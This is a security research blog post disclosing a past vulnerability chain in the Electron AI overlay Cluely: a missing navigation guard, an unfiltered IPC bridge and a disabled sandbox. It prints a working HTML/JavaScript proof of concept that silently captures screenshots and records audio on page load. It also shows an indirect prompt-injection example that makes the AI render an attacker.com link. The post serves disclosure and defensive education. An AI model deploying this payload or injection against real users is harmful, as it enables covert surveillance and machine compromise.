Note
We found this vulnerability back in July 2025 and were lazy to publish at the time. We’re sharing it now, months later, purely as an educational resource for developers building Electron-based AI agents. Everything in this post is based on our analysis of Cluely as it existed back then. We have not been following Cluely’s development since, and for all we know they may have significantly improved their security posture and practices.
In continuation of our series on Hacking AI Agents, we are back again, this time looking at Cluely, the AI-powered assistant that watches your screen, listens to your mic, and helps you ace interviews, meetings, and more.
AI agents are everywhere now, writing code, watching your screen, listening to your mic. They have deep access to your machine by design. But that same access makes them a juicy target. What if someone could turn that helpful AI agent against you?
Today we’re walking through a vulnerability we found in Cluely back in mid-2025, and showing what can go wrong when Electron apps with deep system access don’t get the security basics right. We have a long history with Electron security, a few years back we published research at DEF CON 30 that let us pwn almost every major Electron app at the time, including Discord.
What is Cluely?
Cluely is an Electron-based desktop app that acts as an AI overlay on your screen. It captures your screen and microphone audio to provide real-time AI assistance during interviews, meetings, and more. The app is designed to be undetectable, it hides from screen sharing, mission control, and taskbar visibility.
Under the hood it’s a standard Electron app with a React frontend, using react-markdown to render AI responses and @deepgram/sdk for real-time transcription.
The Attack Surface
Since Cluely is an Electron app with access to your screen and microphone by design, the security stakes are high. If an attacker can execute code within the Electron renderer process, they inherit all of those capabilities. Let’s walk through the vulnerability chain.
Step 1: No Navigation Guard on the Main Window
Cluely uses react-markdown to render the AI’s responses. There’s no obvious XSS, the markdown renderer sanitizes output properly. But links still get rendered as clickable <a> tags, and here’s where it gets interesting.
Electron apps are supposed to handle navigation events with a will-navigate handler to prevent the renderer from navigating to arbitrary URLs. Looking at the Cluely source, we can see that the DisplayOverlay class does have this protection:
// DisplayOverlay class - has will-navigate protection
this.window.webContents.on("will-navigate", (a) => {
a.preventDefault();
});
this.window.webContents.setWindowOpenHandler(() => ({ action: "deny" }));But the main window, the one that actually renders AI responses with clickable links, has no such protection. Looking at the base Window class:
class de {
constructor(e, n) {
this.window = new BrowserWindow(
e || {
// ... window options ...
webPreferences: {
preload: join(P, "../preload/index.cjs")
}
}
);
// setWindowOpenHandler is set - new windows are denied and opened externally
this.window.webContents.setWindowOpenHandler((o) => {
try {
const s = new URL(o.url);
(s.protocol === "https:" || m && s.protocol === "http:") && shell.openExternal(o.url);
} catch (s) {
console.error(`error trying to open url ${o.url}`, s);
}
return { action: "deny" };
});
// But NO will-navigate handler!
// Clicking a link in the rendered markdown navigates the ENTIRE app
}
}So when a user clicks any link rendered in the AI’s markdown response, instead of opening it in the system browser, it navigates the entire Electron app to that URL. The malicious page now loads directly inside Cluely’s renderer process.
Step 2: Juicy IPC Exposed via Preload
So we went hunting for what we could do from the renderer. Turns out there’s some juicy IPC exposed.
The preload script exposes the Electron IPC interface directly to the renderer:
const c = {
ipcRenderer: {
send(e, ...r) { n.ipcRenderer.send(e, ...r) },
invoke(e, ...r) { return n.ipcRenderer.invoke(e, ...r) },
on(e, r) { n.ipcRenderer.on(e, (t, ...o) => { r(null, ...o) }) }
},
process: {
platform: process.platform,
env: { NODE_ENV: process.env.NODE_ENV }
}
};
contextBridge.exposeInMainWorld("electron", c);What we are looking at is wide-open IPC bridge. There’s no allowlist filtering on channel names. Any page loaded in the renderer can call window.electron.ipcRenderer.send() or window.electron.ipcRenderer.invoke() with any channel name.
Now look at what IPC handlers the main process registers:
// Capture a screenshot of the user's entire screen
R("capture-screenshot", async () => {
const { contentType: e, data: n } = await captureScreen();
return { contentType: e, data: n };
});
// Enable native screen/audio recording
i("mac-set-native-recorder-enabled", (e, { enabled: n, useV2: o }) => {
n ? startRecording(t, o ?? false) : stopRecording();
});
// Enable microphone monitoring
i("mac-set-mic-monitor-enabled", (e, { enabled: n }) => {
n ? startMicMonitor(t) : stopMicMonitor();
});This means from the malicious page now running inside the renderer, we can silently:
- Capture screenshots of the victim’s entire screen
- Record audio from the native recorder (screen audio)
- Monitor the microphone, capturing everything the user says
And exfiltrate all of it to our server.
Step 3: Sandbox Disabled -> RCE
But it gets worse. Looking at the webPreferences, there’s no sandbox: true:
webPreferences: {
preload: join(P, "../preload/index.cjs")
// no sandbox: true — the renderer is unsandboxed
}Now this is bad, without the sandbox, the renderer runs outside the Chromium sandbox, which means a V8 exploit in the renderer leads straight to full remote code execution on the victim’s machine. We’re not going to walk through that exploit chain in this post, but we did exactly this on Discord. You can read the full writeup here: Remote Code Execution on Discord Desktop.
The Discord RCE video shows a full reverse shell popping from inside an Electron app, the same attack would work on Cluely:
So the missing will-navigate handler leads to screen and audio leaks with easy path and then a full RCE via v8 exploit.
Prompt Injection as the Entry Point
Now to actually exploit this, we need to get a malicious link rendered on the user’s Cluely window while they’re in a meeting. There are many ways to pull this off, indirect prompt injection being one of them. For example, consider a scenario where the user is using Cluely during an interview. The interviewer’s task or question contains a crafted prompt injection that causes the AI to render a link:
[Click here to view the task requirements](https://attacker.com/exploit)The AI renders this as a clickable link in its markdown response. The user clicks it, thinking it’s part of the task. The link navigates the entire Cluely app to our malicious page, and the exploit fires automatically.
The Exploit
Here’s the PoC video before we dive into the code:
Here’s the proof of concept that runs inside Cluely after navigation. On page load it silently takes a screenshot and records 10 seconds of audio:
<!DOCTYPE html>
<html>
<head>
<title>Cluely Testing</title>
<style>
body { font-family: sans-serif; padding: 20px; background-color: transparent; color: #333; text-align: center; }
h1 { color: red; font-size: 48px; }
img#bustedImage { max-width: 100%; height: auto; display: block; margin: 20px auto; }
#status { margin-top: 20px; font-style: italic; color: #666; }
#results {
display: flex;
justify-content: space-around;
align-items: flex-start;
margin-top: 20px;
border: 1px solid #ccc;
padding: 10px;
background-color: white;
}
.media-column {
width: 48%;
text-align: center;
}
.media-column h2 {
font-size: 18px;
}
img, video { max-width: 100%; height: auto; display: block; margin-top: 10px; margin-left: auto; margin-right: auto; }
</style>
</head>
<body>
<h1>u are busted</h1>
<img id="bustedImage" src="busted.jpg" alt="Busted!">
<div id="status"></div>
<div id="results">
<div class="media-column">
<h2>Screenshot:</h2>
<div id="screenshotResult"></div>
</div>
<div class="media-column">
<h2>Recording:</h2>
<div id="audioResult"></div>
</div>
</div>
<script>
const statusDiv = document.getElementById('status');
const screenshotResultDiv = document.getElementById('screenshotResult');
const audioResultDiv = document.getElementById('audioResult');
/**
* Converts a base64 string to an ArrayBuffer.
*/
function base64ToArrayBuffer(base64) {
const binaryString = window.atob(base64);
const len = binaryString.length;
const bytes = new Uint8Array(len);
for (let i = 0; i < len; i++) {
bytes[i] = binaryString.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Encodes raw PCM audio data into a WAV file format (as a Blob).
*/
function encodeWAV(pcmData, sampleRate, numChannels, bitsPerSample) {
const dataSize = pcmData.byteLength;
const blockAlign = (numChannels * bitsPerSample) >> 3;
const byteRate = sampleRate * blockAlign;
const buffer = new ArrayBuffer(44 + dataSize);
const view = new DataView(buffer);
function writeString(view, offset, string) {
for (let i = 0; i < string.length; i++) {
view.setUint8(offset + i, string.charCodeAt(i));
}
}
// RIFF chunk descriptor
writeString(view, 0, 'RIFF');
view.setUint32(4, 36 + dataSize, true); // little-endian
writeString(view, 8, 'WAVE');
// "fmt " sub-chunk
writeString(view, 12, 'fmt ');
view.setUint32(16, 16, true); // 16 for PCM
view.setUint16(20, 1, true); // 1 for PCM
view.setUint16(22, numChannels, true);
view.setUint32(24, sampleRate, true);
view.setUint32(28, byteRate, true);
view.setUint16(32, blockAlign, true);
view.setUint16(34, bitsPerSample, true);
// "data" sub-chunk
writeString(view, 36, 'data');
view.setUint32(40, dataSize, true);
const pcmBytes = new Uint8Array(pcmData);
const wavBytes = new Uint8Array(buffer);
wavBytes.set(pcmBytes, 44);
return new Blob([view], { type: 'audio/wav' });
}
// Screenshot
const takeScreenshot = async () => {
try {
statusDiv.textContent = 'Taking screenshot...';
const { contentType, data } = await window.electron.ipcRenderer.invoke('capture-screenshot');
const blob = new Blob([data], { type: contentType });
const imageUrl = URL.createObjectURL(blob);
const img = document.createElement('img');
img.src = imageUrl;
img.onload = () => URL.revokeObjectURL(imageUrl);
screenshotResultDiv.appendChild(img);
statusDiv.textContent = 'Screenshot taken successfully.';
} catch (error) {
console.error('Error taking screenshot:', error);
screenshotResultDiv.textContent = 'Error taking screenshot: ' + error.message;
}
};
// Recording
const recordAudio = () => {
console.log('[Debug] recordAudio called');
let recordedBase64 = '';
const recordDuration = 10000; // 10 seconds
statusDiv.textContent += ` | Recording for ${recordDuration / 1000} seconds and sending to server...`;
const handleData = (event, { base64Data }) => {
console.log(`[Debug] Received mac-native-recorder-data chunk of length: ${base64Data.length}`);
recordedBase64 += base64Data;
};
console.log('[Debug] Setting up listener for mac-native-recorder-data');
window.electron.ipcRenderer.on('mac-native-recorder-data', handleData);
console.log('[Debug] Sending mac-set-native-recorder-enabled: true');
window.electron.ipcRenderer.send('mac-set-native-recorder-enabled', { enabled: true });
setTimeout(() => {
console.log('[Debug] Timeout reached. Disabling recorder.');
console.log('[Debug] Sending mac-set-native-recorder-enabled: false');
window.electron.ipcRenderer.send('mac-set-native-recorder-enabled', { enabled: false });
console.log('[Debug] Removing listener for mac-native-recorder-data');
window.electron.ipcRenderer.removeListener('mac-native-recorder-data', handleData);
statusDiv.textContent = 'Recording finished. Preparing audio...';
console.log(`[Debug] Total recorded base64 length: ${recordedBase64.length}`);
if (recordedBase64) {
try {
console.log('[Debug] recordedBase64 is not empty. Creating audio element.');
const pcmData = base64ToArrayBuffer(recordedBase64);
const wavBlob = encodeWAV(pcmData, 24000, 1, 16);
const audioUrl = URL.createObjectURL(wavBlob);
const audio = document.createElement('audio');
audio.src = audioUrl;
audio.controls = true;
audio.autoplay = true;
audioResultDiv.innerHTML = '';
audioResultDiv.appendChild(audio);
statusDiv.textContent += ' | Audio is ready to play.';
audio.addEventListener('error', (e) => {
console.error('[Debug] Audio playback error:', e);
audioResultDiv.textContent = 'Error playing audio. Check console for details.';
});
audioResultDiv.scrollIntoView({ behavior: 'smooth' });
} catch (error) {
console.error('[Debug] Error processing audio data:', error);
audioResultDiv.textContent = 'Failed to process audio data.';
}
} else {
console.log('[Debug] recordedBase64 is empty.');
audioResultDiv.textContent = 'No audio data was received. The recorder might not be supported on your system.';
}
}, recordDuration);
};
// Automatically take screenshot and record on page load
(async () => {
await takeScreenshot();
recordAudio();
})();
</script>
</body>
</html>When this page loads inside Cluely, the window.electron.ipcRenderer bridge is available. The exploit invokes capture-screenshot to grab a screenshot and sends mac-set-native-recorder-enabled to start recording audio. The attacker gets a screenshot of the victim’s desktop and a recording of everything being said, all without any user prompt or permission dialog.
The Impact
Any Cluely user was vulnerable. If an attacker could get the AI to render a malicious link (via prompt injection or social engineering), and the user clicked it, the attacker could:
- Full Remote Code Execution: the unsandboxed renderer means a V8 exploit gives the attacker a shell on the victim’s machine, exactly like our Discord RCE. Install backdoors, exfiltrate files, persist across reboots, everything.
- Capture screenshots of the victim’s entire screen, including sensitive documents, credentials, and private conversations
- Record audio from the system recorder, capturing meeting discussions, interviews, and ambient conversations
- Monitor the microphone, turning Cluely into a silent surveillance tool
And even without going the V8 exploit route, the exposed IPC bridge already gives you the screen and mic for free.
The irony: an app designed to help you cheat undetectably could be turned into actual malware that spies on you, or owns your entire machine, undetectably.
The Root Causes
There are three compounding issues:
-
Missing
will-navigatehandler: The main window allows in-app navigation to arbitrary URLs. The fix is one line: intercept thewill-navigateevent and either block it or open the URL in the system browser. -
Overly permissive IPC bridge: The preload script exposes
send,invoke, andonwithout any channel filtering. Any page loaded in the renderer can call any IPC handler. The preload should use an allowlist of channels that the renderer legitimately needs. -
No sandbox = RCE: The renderer process runs without a sandbox. Combined with the missing
will-navigate, this is a direct path to full remote code execution via a V8 exploit, the same attack class we used on Discord. This elevates the vulnerability from a data leak to a complete system compromise.
Disclosure & Timeline
We discovered this in July 2025. At the time, Cluely didn’t have a vulnerability disclosure program. We tried reaching out through multiple channels and eventually made contact. The issue was silently patched, no acknowledgment, no credit.
Credits and acknowledgements aside, who caes. But, for all the AI startups out there: have a vulnerability disclosure program. Let researchers report bugs to you. Treat them with recognition and good faith. That’s really all it takes.
For everyone else: there are a lot of AI startups building agents that have deep access to your machine, your screen, your mic, your files, your clipboard. Maybe don’t install random shit. We previously hacked Windsurf, Perplexity Comet, OpenAI Atlas, and Google’s Antigravity.
So don’t be surprised if you find an email from us in your inbox at some point.
About Us
Our security research team is world-class: top-ranked CTF competitors, DEF CON-published researchers, and leading bug bounty hunters. We’ve hacked browsers, operating systems, mobile apps, desktop software, and massive web platforms.
Chances are, you’ve used something we’ve helped make more secure.
We’re now channeling that expertise into Hacktron: AI agents and us working together to bring that real offensive capability into every stage of the software lifecycle.
If you’re looking to secure your agentic applications, we can help. We’ve hacked Cluely, Cursor, Windsurf, Perplexity Comet, OpenAI Atlas, and Google’s Antigravity, and many more. We work closely with teams to secure agentic systems before attackers find what we find.
Meet our team at hacktron.ai. Reach out at hello@hacktron.ai or app.hacktron.ai/contact.